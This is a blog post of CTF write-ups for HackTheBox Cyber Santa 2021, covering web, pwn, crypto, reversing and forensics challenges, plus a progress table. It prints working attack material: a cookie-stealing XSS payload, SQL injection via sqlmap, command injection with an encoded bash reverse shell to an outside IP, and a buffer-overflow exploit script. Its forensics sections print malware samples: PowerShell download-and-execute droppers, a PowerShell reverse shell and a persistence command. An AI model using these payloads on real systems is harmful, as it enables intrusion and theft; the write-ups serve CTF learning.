Sunday, December 5, 2021

HackTheBox - Cyber Santa CTF - Writeup

Web - Toy Workshop

Description: The work is going well on Santa's toy workshop but we lost contact with the manager in charge! We suspect the evil elves have taken over the workshop, can you talk to the worker elves and find out?

We are given a link to a website, and a file web_toy_workshop.zip containing the contents of the website. Browsing to the site, we see that clicking on the head of an elf brings up a dialog box which we can submit.

Looking at the code shows that the inputted text is placed into the database, and then read by the bot.

router.post('/api/submit', async (req, res) => {
		const { query } = req.body;
		if(query){
			return db.addQuery(query)
				.then(() => {
					bot.readQueries(db);
					res.send(response('Your message is delivered successfully!'));
				});
		}
		return res.status(403).send(response('Please write your query first!'));
});

This shows a glaring XSS flaw as the inputted data is not sanitized.

Doing a quick proof of concept test, we input some HTML which loads an image off a python webserver we're hosting.

<img src = 'http://104.196.222.29:9001/gotten' />

And we get a hit

reelix@reelix-1:~/ctf/htb$ python3 -m http.server 9001
Serving HTTP on 0.0.0.0 port 9001 (http://0.0.0.0:9001/) ...
134.209.18.133 - - [01/Dec/2021 17:09:05] code 404, message File not found
134.209.18.133 - - [01/Dec/2021 17:09:05] "GET /gotten HTTP/1.1" 404 -

Going back to the challenge files, we see in the bot.js file that the bot loads the flag in its cookies, so we alter our XSS payload to send us those.

<script>document.location='http://104.196.222.29:9001/pwned?cookie='+document.cookie</script>

And surely enough, we get the flag

134.209.18.133 - - [01/Dec/2021 17:10:41] code 404, message File not found
134.209.18.133 - - [01/Dec/2021 17:10:41] "GET /pwned?cookie=flag=HTB{3v1l_3lv3s_4r3_r1s1ng_up!} HTTP/1.1" 404 -

Web - Toy Management

Description: The evil elves have changed the admin access to Santa's Toy Management Portal. Can you get the access back and save the Christmas?

Similar to the first web challenge we are given a link to a website, and a file web_toy_management.zip containing the contents of the website.

Browsing to the website we have a username / password box. Investigating how this works, we browse to the index.js file and discover:

router.post('/api/login', async (req, res) => {
	const { username, password } = req.body;
	if (username && password) {
		passhash = crypto.createHash('md5').update(password).digest('hex');
		return db.loginUser(username, passhash)
			.then(user => {
				if (!user.length) return res.status(403).send(response('Invalid username or password!'));
				JWTHelper.sign({ username: user[0].username })
					.then(token => {
						res.cookie('session', token, { maxAge: 43200000 });
						res.send(response('User authenticated successfully!'));
					})
			})
			.catch(() => res.status(403).send(response('Invalid username or password!')));
	}
	return res.status(500).send(response('Missing parameters!'));
});

So, it's taking the username and an md5 hash of the password, and posting them (Unaltered) to /api/login to the "db.loginUser" method. Let's open database.js and take a look!

async loginUser(user, pass) {
		return new Promise(async (resolve, reject) => {
			let stmt = `SELECT username FROM users WHERE username = '${user}' and password = '${pass}'`;
			this.connection.query(stmt, (err, result) => {
				if(err)
					reject(err)
				try {
					resolve(JSON.parse(JSON.stringify(result)))
				}
				catch (e) {
					reject(e)
				}
			})
		});
	}

Yikes - It runs a select statement, and adds the values without sanitizing them! This is definately a SQL Injection attack!

Browsing through the files, it looks like our flag is stored in the toydb database, in the toylist table, in the toy column with an id of 7. Let's use this info and get the flag!

Note: I initially tried to just login given the cracked hashes from the users table, although this did not work.

First, we do an attempted login, and capture the request to send to sqlmap, ending up with:

cat request.txt
POST /api/login HTTP/1.1
Host: 206.189.124.137:30777

{"username":"admin", "password":"pass"}

We then use file to let sqlmap do its job!

Command: sqlmap -r request.txt -D toydb -T toylist -C toy --where "id=7" --dump --time-sec=1

After a bit of time, we get the flag!

Database: toydb
Table: toylist
[1 entry]
+------------------------------+
| toy                          |
+------------------------------+
| HTB{1nj3cti0n_1s_in3v1t4bl3} |
+------------------------------+

Thanks to soc1ety in the HackTheBox Discord channel for teaching me that sqlmap has a --where parameter when dumping which saved some time as this was a time-based blind attack, and was very slow.


Web - Gadget Santa

Description: It seems that the evil elves have broken the controller gadget for the good old candy cane factory! Can you team up with the real red teamer Santa to hack back?

Similar to the previous two challengse we are given a link to a website, and a file web_gadget_santa.zip containing the contents of the website.

Browsing to the website, we have a list of commands down the left which return some output. Going by the MonitorModel.php file we are given, it takes the command, and runs it.

I quickly decided to test out basic command concatenation and ended off with basic code execution by changing the command to ?command=list_ram;id; and got the displayed id. Well - That was easy!

The next challenge was a little harder - Adding spaces to commands. A %20 didn't work since it wasn't properly HTML encoding the commands. Playing around a bit, I eventually figured out that you could use $IFS as a space character.

http://188.166.174.81:32398/?command=list_ram;ls$IFS-la;

              total        used        free      shared  buff/cache   available
Mem:          7.8Gi       3.4Gi       2.2Gi       128Mi       2.2Gi       4.2Gi
Swap:            0B          0B          0B
total 32
drwxr-xr-x 1 www  www  4096 Nov 30 13:30 .
drwxr-xr-x 1 root root 4096 Dec  5 15:07 ..
-rw-r--r-- 1 www  www  2786 Nov 30 13:25 Router.php
drwxr-xr-x 1 www  www  4096 Nov 30 13:29 controllers
-rw-r--r-- 1 www  www   428 Nov 30 13:25 index.php
drwxr-xr-x 1 www  www  4096 Nov 30 13:29 models
drwxr-xr-x 1 www  www  4096 Nov 30 13:29 static
drwxr-xr-x 1 www  www  4096 Nov 30 13:29 views

The next part proved a little more difficult. From the ups_manager.py file in the provided challenge files, I needed to issue a GET request to http://localhost:3000/get_flag to retrieve the flag, but this refused to work when using variations of curl commands - So I was stuck!

Well, if regular commands won't give me proper output - Maybe I can get a shell and go from there!

This part took far longer than it should have. My shell generation script didn't check that the IP / Port were valid and I had accidentally switched them around in the generation command, so no matter how much I tried, I could not get a reverse shell working! Eventually I tried the command locally, it threw an error, and I debugged the issue. With a bit of obfuscation and messing around, I eventually got a reverse shell by using the command:

php$IFS-r$IFS"eval(base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTA0LjE5Ni4yMjIuMjkvOTAwMSAwPiYxJyIpOw=='));"

This uses PHP to evaluate a function which uses base64 to decode an encoded reverse shell, and subsequently runs it. This gets rid of any of the issues that arise when you have weird characters in the shell itself in a URL.

Catching the shell with a netcat listener, I stabilized it, ran the curl command, and received the flag - Victory!

http://188.166.174.81:32398/?command=list_ram;php$IFS-r$IFS%22eval(base64_decode(%27ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTA0LjE5Ni4yMjIuMjkvOTAwMSAwPiYxJyIpOw==%27));%22;

nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 188.166.174.81 34254
id
uid=1000(www) gid=1000(www) groups=1000(www)
python3 -c "import pty;pty.spawn('/bin/bash');"
www@webgadgetsanta-26444-5dc4b9f749-c4bn2:/www$ curl http://localhost:3000/get_flag
<749-c4bn2: code="" curl="" get_flag="" http:="" localhost:3000="" nt4_i5_th3_r34l_r3d_t34m3r="" status="" www="">

Note - The above originally contained the flag but it got lost during editing and I couldn't re-run the command as the CTF infrastructure was shut down.


Pwn - Mr Snowy

Description: There is ❄️ snow everywhere!! Kids are playing around, everything looks amazing. But, this ☃️ snowman... it scares me.. He is always 👀 staring at Santa's house. Something must be wrong with him.

First of all, I want to note that I am very bad at Pwn challenges, so much of the information provided in this section may be incorrect or badly explained.

We are given an archive containing a single file - mr_snowy and a docker container. Running the Linux file command on this file shows it to be a 64-bit ELF.

Opening the file in Ghidra, we see the following:

1.) The main function sets up a few things, displays the banner, and then runs the snowman function which - If 1 is inputted - runs the investigate function.

2.) In the investigate function, local_48 is assigned 64 characters of space, the user input is read, and assigned to it.

3.) There is a function deactivate_camera at 0x401165 which displays the flag.

This is a standard Buffer Overflow scenario. Entering more than 64 characters will overflow out of the memory assigned to local_48 and into a point of our choosing. After the assigned 64 characters, we hit the rbp register. We need to enter the rip register to execute code which is found 8 bytes after rbp, so we add 8 to our overflow, and then append our function.

The full code looks like so:

from pwn import *
file_name = "./mr_snowy"
p = process(file_name)
offset = 72 # rbp + 8
payload = b'A' * offset;
payload += p64(0x401165) # Append deactivate_camera
p.recvuntil(b'> ') # Wait for the first entry
p.sendline(b'1') # Run investigate
p.recvuntil(b'> ') # Wait for the input that is read
p.sendline(payload) # Send our payload
p.interactive()

Running this gives the fake flag.

python3 sploit.py
[+] Starting local process './mr_snowy': pid 16786
[*] Switching to interactive mode

[-] Mission failed!

[+] Here is the secret password to deactivate the camera: HTB{f4k3_fl4g_4_t3st1ng}

[*] Got EOF while reading in interactive

Great! Now, we just change it from local to remote by changing

p = process(file_name)

to

p = remote('46.101.39.71',31471)

Run it, and get our flag!

python3 sploit.py
[+] Opening connection to 178.62.90.158 on port 30530: Done
[*] Switching to interactive mode

[-] Mission failed!

[+] Here is the secret password to deactivate the camera: HTB{n1c3_try_3lv35_but_n0t_g00d_3n0ugh}

[*] Got EOF while reading in interactive

Crypto - Common Mistake

Description: Elves are trying very hard to communicate in perfect secrecy in order to keep Santa's warehouse. Unfortunately, their lack of knowledge about cryptography leads them to common mistakes.

We are given an RSA challenge with n1, e1, c1, n2, e2, c2 with n1 == n2

I'm generally terrible at these preferring to solve them programatically, so I googled around for several examples and found an auto-solver for this specific scenario over here.

Plugging in the values and editing the file to remove what I didn't need (I just used the decode function and hard-coded the values) gave me the flag b'HTB{c0mm0n_m0d_4774ck_15_4n07h3r_cl4ss1c}'


Reversing - Infiltration

We got a hold of an internal communication tool being used by the elves, and managed to hook it up to their server. However, it won't let us see their secrets? Can you take a look inside?

We are given a file client. Upon analysis, it appears to be a 64-bit ELF that requires an IP and a port to connect to. Thankfully, we are given both as part of the challenge.

Unfortunately, upon running the client with the provided details, we are simply given the output Untrusted Client Location - Enabling Opaque Mode. This, of course - Does not help.

Browsing through the application using Ghidra did not end off all that helpful due to my limited knowledge of C / Assembly, so I loaded it up in gdb and decided to set a breakpoint on puts to see if I could catch anything interesting.

On running the client in GDB with the breakpoint, I got a hit!

───────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe508 —▸ 0x555555555325 ◂— mov    rax, qword ptr [rsp + 0x408]
01:0008│ rsi 0x7fffffffe510 ◂— 0x5f74306e7b425448 ('HTB{n0t_')
02:0010│     0x7fffffffe518 ◂— 0x30735f3374317571 ('qu1t3_s0')
03:0018│     0x7fffffffe520 ◂— 0x7d3375713470305f ('_0p4qu3}')
04:0020│     0x7fffffffe528 ◂— 0x3
05:0028│     0x7fffffffe530 —▸ 0x5555555550d0 ◂— push   r12
06:0030│     0x7fffffffe538 ◂— 0x0
07:0038│     0x7fffffffe540 —▸ 0x7ffff7ffbc40 (_rtld_global_ro) ◂— 0x50d1200000000

This gave me the flag HTB{n0t_qu1t3_s0_0p4qu3} which solved the challenge.


Forensics - baby APT

Description: This is the most wonderful time of the year, but not for Santa's incident response team. Since Santa went digital, everyone can write a letter to him using his brand new website. Apparently an APT group hacked their way in to Santa's server and destroyed his present list. Could you investigate what happened?

We are given a file christmaswishlist.pcap. By the extension, we know that this is a packet dump, so we open it in Wireshark.

Following the TCP streams, we see a story unfold.

Stream 3 - A request was made to a webserver, displaying a Drupal banner.

Stream 4 - A Drupal Exploit is being used to give the user Remote Code Execution - Specifically CVE-2018-7600

Stream 7 - A PHP shell is saved to bg.php

Stream 8 - The shell was accessed.

Stream 11 - The shell was used to read the /etc/passwd file on the server.

Stream 27 - The shell was used to run the groups command.

Stream 28 - The shell was used to list the contents of the current folder.

Stream 29 - The shell was used to list the contents of the primary folder on the webserver.

Stream 30 - The websites database was deleted, the text SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59 was echoed to /dev/null, and the contents of the primary folder of the webserver was listed again.

For purposes of this CTF we can stop here. The text

SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59

is Base64 and decodes to our Flag: HTB{0k_n0w_3v3ry0n3_h4s_t0_dr0p_0ff_th3ir_l3tt3rs_4t_th3_p0st_0ff1c3_4g41n}


Forensics - Honeypot

Description: Santa really encourages people to be at his good list but sometimes he is a bit naughty himself. He is using a Windows 7 honeypot to capture any suspicious action. Since he is not a forensics expert, can you help him identify any indications of compromise?

1. Find the full URL used to download the malware.
2. Find the malicious's process ID.
3. Find the attackers IP

Flag Format: HTB{echo -n "http://url.com/path.foo_PID_127.0.0.1" | md5sum}
Download Link: http://46.101.25.140/forensics_honeypot.zip

So we get given a zip file, and get tasked to find a bunch of information. Given the size of the file (1GB) and the extension (.raw), I assume this to be a memory dump, and examine it with Volatility. For this, I am using Version 2.6 as I am not familiar enough with the syntax of 3.

First of all, we identify the profile used.

volatility.exe -f file.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86

We will be using the Win7SP1x86_23418 profile from here on.

First off, we need the full URL used. For this, we turn to the browser history.

volatility.exe -f file.raw --profile=Win7SP1x86_23418 iehistory
Volatility Foundation Volatility Framework 2.6
**************************************************
Process: 3344 iexplore.exe
Cache type "DEST" at 0x5636819
Last modified: 2021-11-25 11:13:50 UTC+0000
Last accessed: 2021-11-25 19:13:52 UTC+0000
URL: Santa@https://windowsliveupdater.com/christmas_update.hta

Well, that was easy enough. Now we need the process ID. All we have is the hta file, so let's examine that!

First, find it.

volatility.exe -f file.raw --profile=Win7SP1x86_23418 filescan | findstr ".hta"
Volatility Foundation Volatility Framework 2.6
0x000000003e396be0      8      0 R--r-d \Device\HarddiskVolume1\Windows\System32\en-US\mshta.exe.mui
0x000000003e710f80      7      0 R--r-d \Device\HarddiskVolume1\Windows\System32\mshta.exe
0x000000003f4d4348      2      0 -W-rwd \Device\HarddiskVolume1\Users\Santa\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M3FMRSOD\christmas_update[1].hta
0x000000003f58ef80      6      0 R--r-- \Device\HarddiskVolume1\Windows\System32\mshta.exe

An address of 0x000000003f4d4348 - Let's save it to examine!

volatility.exe -f file.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003f4d4348 --name file -D Files
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3f4d4348   None   \Device\HarddiskVolume1\Users\Santa\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\M3FMRSOD\christmas_update[1].hta

Opening up the saved file, we see the following:

<html>
<head>
<HTA:APPLICATION id="Microsoft" applicationName="Christmas update"/>
<script>
var sh = new ActiveXObject("WScript.Shell");
sh.run('powershell.exe /window hidden /e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHcAaQBuAGQAbwB3AHMAbABpAHYAZQB1AHAAZABhAHQAZQByAC4AYwBvAG0ALwB1AHAAZABhAHQAZQAuAHAAcwAxACcAKQApAA==');
window.close();
</script>
</html>

So it opens up Powershell and runs a command encoded as Base64. Decoding the command returns:

iex ((new-object net.webclient).downloadstring('https://windowsliveupdater.com/update.ps1'))

Now we have another file. This file we can't find the contents of like we did the .hta file since it was never saved - Now what!

Since it was run using Powershell, let's use that!

First, we scan for the Powershell process.

volatility.exe -f file.raw --profile=Win7SP1x86_23418 psscan
Volatility Foundation Volatility Framework 2.6
Offset(P)          Name                PID   PPID PDB        Time created                   Time exited
------------------ ---------------- ------ ------ ---------- ------------------------------ ------------------------------
0x0000000002c9a940 System                4      0 0x00185000 2021-11-26 05:12:15 UTC+0000
0x0000000002d46470 cygrunsrv.exe      1872    400 0x3f1e5420 2021-11-25 19:12:20 UTC+0000
0x00000000206013a8 svchost.exe         692    400 0x3f1e5160 2021-11-25 19:12:18 UTC+0000
0x000000003e254030 sppsvc.exe         1800    400 0x3f1e54a0 2021-11-25 19:12:22 UTC+0000
0x000000003e27e610 svchost.exe        2080    400 0x3f1e54e0 2021-11-25 19:12:22 UTC+0000
0x000000003e301d28 SearchIndexer.     2360    400 0x3f1e5460 2021-11-25 19:12:26 UTC+0000
0x000000003e316d28 csrss.exe          2616   2604 0x3f1e5520 2021-11-25 19:12:33 UTC+0000
0x000000003e336d28 SearchProtocol     2440   2360 0x3f1e5280 2021-11-25 19:12:26 UTC+0000
0x000000003e33a260 SearchFilterHo     2460   2360 0x3f1e54c0 2021-11-25 19:12:26 UTC+0000
0x000000003e384b00 taskhost.exe       2784    400 0x3f1e5580 2021-11-25 19:12:37 UTC+0000
0x000000003e38db00 whoami.exe         4028   2700 0x3f1e5340 2021-11-25 19:14:01 UTC+0000   2021-11-25 19:14:01 UTC+0000
0x000000003e38f488 dwm.exe            2844    848 0x3f1e55c0 2021-11-25 19:12:37 UTC+0000
0x000000003e391498 explorer.exe       2856   2836 0x3f1e55e0 2021-11-25 19:12:38 UTC+0000
0x000000003e3acd28 regsvr32.exe       3108   2856 0x3f1e5600 2021-11-25 19:12:38 UTC+0000   2021-11-25 19:12:39 UTC+0000
0x000000003e413c60 dwm.exe            1532    848 0x3f1e5360 2021-11-25 19:12:19 UTC+0000
0x000000003e41ab00 explorer.exe       1556   1512 0x3f1e53a0 2021-11-25 19:12:19 UTC+0000
0x000000003e425758 vmicsvc.exe        1540    400 0x3f1e5380 2021-11-25 19:12:19 UTC+0000
0x000000003e442030 svchost.exe        1620    400 0x3f1e53c0 2021-11-25 19:12:19 UTC+0000
0x000000003e46d6f8 VBoxTray.exe       1716   1556 0x3f1e5400 2021-11-25 19:12:20 UTC+0000
0x000000003e5f9b00 wlms.exe           1956    400 0x3f1e5440 2021-11-25 19:12:20 UTC+0000
0x000000003e619700 svchost.exe         744    400 0x3f1e5180 2021-11-25 19:12:18 UTC+0000
0x000000003e6326b8 svchost.exe         572    400 0x3f1e5080 2021-11-26 05:12:17 UTC+0000
0x000000003e673728 winlogon.exe       2644   2604 0x3f1e5540 2021-11-25 19:12:33 UTC+0000
0x000000003e699390 VBoxService.ex      636    400 0x3f1e5140 2021-11-26 05:12:17 UTC+0000
0x000000003e6cad28 cygrunsrv.exe      1612   1872 0x3f1e53e0 2021-11-25 19:12:21 UTC+0000   2021-11-25 19:12:21 UTC+0000
0x000000003e6d5d28 sshd.exe           1676   1612 0x3f1e5480 2021-11-25 19:12:21 UTC+0000
0x000000003e6ed9d8 svchost.exe         848    400 0x3f1e51c0 2021-11-25 19:12:19 UTC+0000
0x000000003e6f2bc0 conhost.exe        1684    308 0x3f1e51a0 2021-11-25 19:12:21 UTC+0000
0x000000003e6f8548 svchost.exe         888    400 0x3f1e51e0 2021-11-25 19:12:19 UTC+0000
0x000000003e721030 svchost.exe        1012    400 0x3f1e5200 2021-11-25 19:12:19 UTC+0000
0x000000003e73c260 svchost.exe        1084    400 0x3f1e5220 2021-11-25 19:12:19 UTC+0000
0x000000003e769b00 spoolsv.exe        1208    400 0x3f1e5240 2021-11-25 19:12:19 UTC+0000
0x000000003e7ae030 svchost.exe        1252    400 0x3f1e5260 2021-11-25 19:12:19 UTC+0000
0x000000003e7d7488 vmicsvc.exe        1376    400 0x3f1e52a0 2021-11-25 19:12:19 UTC+0000
0x000000003e7de428 vmicsvc.exe        1396    400 0x3f1e52c0 2021-11-25 19:12:19 UTC+0000
0x000000003e7eaa60 vmicsvc.exe        1432    400 0x3f1e52e0 2021-11-25 19:12:19 UTC+0000
0x000000003e7ec4b8 taskhost.exe       1440    400 0x3f1e5300 2021-11-25 19:12:19 UTC+0000
0x000000003e7f4398 csrss.exe           360    340 0x3f1e5040 2021-11-26 05:12:16 UTC+0000
0x000000003e7f88b8 vmicsvc.exe        1504    400 0x3f1e5320 2021-11-25 19:12:19 UTC+0000
0x000000003e8aa9b8 iexplore.exe       3344   3324 0x3f1e5640 2021-11-25 19:13:31 UTC+0000
0x000000003e8f5620 services.exe        400    348 0x3f1e50c0 2021-11-26 05:12:16 UTC+0000
0x000000003e8fbd28 lsm.exe             416    348 0x3f1e5100 2021-11-26 05:12:16 UTC+0000
0x000000003e902590 lsass.exe           408    348 0x3f1e50e0 2021-11-26 05:12:16 UTC+0000
0x000000003eeba3f0 wininit.exe         348    300 0x3f1e50a0 2021-11-26 05:12:16 UTC+0000
0x000000003ef47d28 winlogon.exe        496    340 0x3f1e5120 2021-11-26 05:12:17 UTC+0000
0x000000003ef733c8 conhost.exe        3732   2616 0x3f1e5560 2021-11-25 19:13:50 UTC+0000
0x000000003f19bd28 csrss.exe           308    300 0x3f1e5060 2021-11-26 05:12:16 UTC+0000
0x000000003f1e9c80 smss.exe            236      4 0x3f1e5020 2021-11-26 05:12:15 UTC+0000
0x000000003f4da2d0 dllhost.exe         168    572 0x3f1e5680 2021-11-25 19:14:13 UTC+0000
0x000000003f5046c0 conhost.exe        2920   2616 0x3f1e56e0 2021-11-25 19:14:10 UTC+0000
0x000000003f53ed28 VBoxTray.exe       3504   2856 0x3f1e5620 2021-11-25 19:12:46 UTC+0000
0x000000003f588788 WmiPrvSE.exe       3112    572 0x3f1e5660 2021-11-25 19:13:24 UTC+0000
0x000000003f5afc60 iexplore.exe       3324   2856 0x3f1e5500 2021-11-25 19:13:31 UTC+0000
0x000000003f5ee280 DumpIt.exe         2924   2856 0x3f1e5720 2021-11-25 19:14:10 UTC+0000
0x000000003fc0dd28 powershell.exe     2700   3720 0x3f1e55a0 2021-11-25 19:13:50 UTC+0000
0x000000003fc89030 HOSTNAME.EXE       4036   2700 0x3f1e56a0 2021-11-25 19:14:01 UTC+0000   2021-11-25 19:14:01 UTC+0000

There it is - Process ID 2700! Now we need the attackers IP address, so let's dump its memory to analyze. We use a different command since we're dumping the memory of a running process and not the process itself.

volatility.exe -f file.raw --profile=Win7SP1x86_23418 memdump --pid=2700 -D .\Mem
Volatility Foundation Volatility Framework 2.6
************************************************************************
Writing powershell.exe [  2700] to 2700.dmp

Now - Let's take a look and... Oh no - It's a 264MB file! Are we going to get fancy and analyze it in a memory editor? Heck no - Strings to the rescue!

strings 2700.dmp > 2700.txt

Much better - A 41MB file of readable text! Let's open it up, and do a search for the file that was run by Powershell - update.ps1

GET /update.ps1 HTTP/1.1
Host: windowsliveupdater.com
Connection: Keep-Alive

There's the download - A bit further down...

$client = New-Object System.Net.Sockets.TCPClient('147.182.172.189',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Those familiar with reverse shells will immediately recognize this as a Powershell Reverse Shell, and the IP address in clear sight!

Let's use this information, and convert it into the flag format...

echo -n "https://windowsliveupdater.com/christmas_update.hta_2700_147.182.172.189" | md5sum
969b934d7396d043a50a37b70e1e010a  -

Convert it to the HTB{} format, and we have our flag!


Forensics - Persist

Description: Although Santa just updated his infra, problems still occur. He keeps complaining about slow boot time and a blue window popping up for a split second during startup. The IT elves support suggested that he should restart his computer. Ah, classic IT support!

We are given the file forensics_persist.zip which contains the file persist.raw. This looked like another memory dump which was confirmed by Volatility.

volatility.exe -f file.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86

This took me awhile to figure out. After many many failed attempts browsing around, I came across a plugin called autoruns. This plugin took a long time to run with no output so I thought it had froze, but eventually gave me what I needed.

volatility.exe --plugins=R:/Utilities/Volatility/autoruns --profile=Win7SP1x86_23418 -f file.raw autoruns
Volatility Foundation Volatility Framework 2.6


Autoruns==========================================

Hive: \SystemRoot\System32\Config\SOFTWARE
    Microsoft\Windows\CurrentVersion\Run (Last modified: 2021-11-26 14:18:38 UTC+0000)
        C:\BGinfo\Bginfo.exe /accepteula /ic:\bginfo\bgconfig.bgi /timer:0 : bginfo (PIDs: )

Hive: \SystemRoot\System32\Config\SOFTWARE
    Microsoft\Windows\CurrentVersion\Run (Last modified: 2021-11-26 14:18:38 UTC+0000)
        %SystemRoot%\system32\VBoxTray.exe : VBoxTray (PIDs: 1456, 2796)

Hive: \??\C:\Users\Santa\ntuser.dat
    Software\Microsoft\Windows\CurrentVersion\Run (Last modified: 2021-11-30 22:04:29 UTC+0000)
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -enc JABQAGEAdABoACAAPQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAdwBpAG4AZABvAHcAcwBcAHcAaQBuAC4AZQB4AGUAJwA7AGkAZgAgACgALQBOAE8AVAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBQAGEAdABoAFQAeQBwAGUAIABMAGUAYQBmACkAKQB7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAFAAYQB0AGgAfQBlAGwAcwBlAHsAbQBrAGQAaQByACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXAB3AGkAbgBkAG8AdwBzACcAOwAkAGYAbABhAGcAIAA9ACAAIgBIAFQAQgB7AFQAaAAzAHMAMwBfADMAbAB2ADMAcwBfADQAcgAzAF8AcgAzADQAbABsAHkAXwBtADQAbAAxAGMAMQAwAHUAcwB9ACIAOwBpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAcwA6AC8ALwB3AGkAbgBkAG8AdwBzAGwAaQB2AGUAdQBwAGQAYQB0AGUAcgAuAGMAbwBtAC8AdwBpAG4ALgBlAHgAZQAiACwAJABQAGEAdABoACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABQAGEAdABoAH0AJQA= : cmFuZG9tCg (PIDs: )
        
--- Snip ---

Decoding the base64 and cleaning it up gave me:

$Path = 'C:\ProgramData\windows\win.exe';if (-NOT(Test-Path -Path $Path -PathType Leaf)){Start-Process $Path}else{mkdir 'C:\ProgramData\windows';$flag = "HTB{Th3s3_3lv3s_4r3_r34lly_m4l1c10us}";iex (New-Object System.Net.WebClient).DownloadFile("https://windowsliveupdater.com/win.exe",$Path);Start-Process $Path}%

Which included the flag: HTB{Th3s3_3lv3s_4r3_r34lly_m4l1c10us}


Forensics - Giveaway

Description: Santa's SOC team is working overtime during December due to Christmas phishing campaigns. A new team of malicious actors is targeting mainly those affected by the holiday spirit. Could you analyse the document and find the command & control server?

We are given the file forensics_giveaway.zip containing the file christmas_giveaway.docm. Opening this file with LibreOffice shows us that this file contains macroes (Which it natively disables). Examining the macros shows us one named h containing a large amount of obfuscated VBScript.

Browsing around the VBScript, we come to something that looks interesting.

 Dim strFileURL, HPkXUcxLcAoMHOlj, cxPZSGdIQDAdRVpziKf, fqtSMHFlkYeyLfs, ehPsgfAcWaYrJm, FVpHoEqBKnhPO As String

    HPkXUcxLcAoMHOlj = "https://elvesfactory/" & Chr(Asc("H")) & Chr(84) & Chr(Asc("B")) & "" & Chr(123) & "" & Chr(84) & Chr(Asc("h")) & "1" & Chr(125 - 10) & Chr(Asc("_")) & "1s" & Chr(95) & "4"
     cxPZSGdIQDAdRVpziKf = "_" & Replace("present", "e", "3") & Chr(85 + 10)
     fqtSMHFlkYeyLfs = Replace("everybody", "e", "3")
     fqtSMHFlkYeyLfs = Replace(fqtSMHFlkYeyLfs, "o", "0") & "_"
     ehPsgfAcWaYrJm = Chr(Asc("w")) & "4" & Chr(110) & "t" & Chr(115) & "_" & Chr(Asc("f")) & "0" & Chr(121 - 7) & Chr(95)
     FVpHoEqBKnhPO = Replace("christmas", "i", "1")
     FVpHoEqBKnhPO = Replace(FVpHoEqBKnhPO, "a", "4") & Chr(119 + 6)

     Open XPFILEDIR For Output As #FileNumber
     Print #FileNumber, "strRT = HPkXUcxLcAoMHOlj & cxPZSGdIQDAdRVpziKf & fqtSMHFlkYeyLfs & ehPsgfAcWaYrJm & FVpHoEqBKnhPO"

Manually decoding this and cleaning it up gives us:

    HPkXUcxLcAoMHOlj = HPkXUcxLcAoMHOlj = "https://elvesfactory/" + HTB{Th1s_1s_4
     cxPZSGdIQDAdRVpziKf = "_pr3s3nt_"
     fqtSMHFlkYeyLfs = "3v3ryb0dy_"
     ehPsgfAcWaYrJm = "w4nts_f0r_"
     FVpHoEqBKnhPO = "chr1stm4s}"

Combining this gives us our flag: HTB{Th1s_1s_4_pr3s3nt_3v3ryb0dy_w4nts_f0r_chr1stm4s}

Wednesday, December 1, 2021

December - CTF Month!

With the arrival of the final month of the year, Advent-based CTFs have started to flood the internet. This is my journey with a few of them. I will be updating this table as I go, so this post will be in constant flux.


Day OSEC Christmas HackTheBox - Cyber Santa TryHackMe - Advent of Cyber 3 Advent Of Code 2021
1 ✔️ ✔️✔️✔️✔️✔️ ✔️ ✔️
2 ✔️ ✔️✔️ (Web, Forensics) ❌❌❌ ✔️ ✔️
3 ✔️ ✔️✔️ (Web, Forensics) ❌❌❌ ✔️
4 N/A ✔️ (Forensics) ❌❌❌❌ ✔️
5 N/A N/A ✔️
6 ✔️ N/A ✔️
7 ✔️ N/A ✔️
8 ✔️ N/A ✔️
9 ✔️ N/A ✔️
10 ✔️ N/A ✔️
11 N/A N/A ✔️
12 N/A N/A ✔️
13 ✔️ N/A ✔️
14 ✔️ N/A ✔️
15 ✔️ N/A
16 ✔️ N/A
17 ✔️ N/A
18 N/A N/A
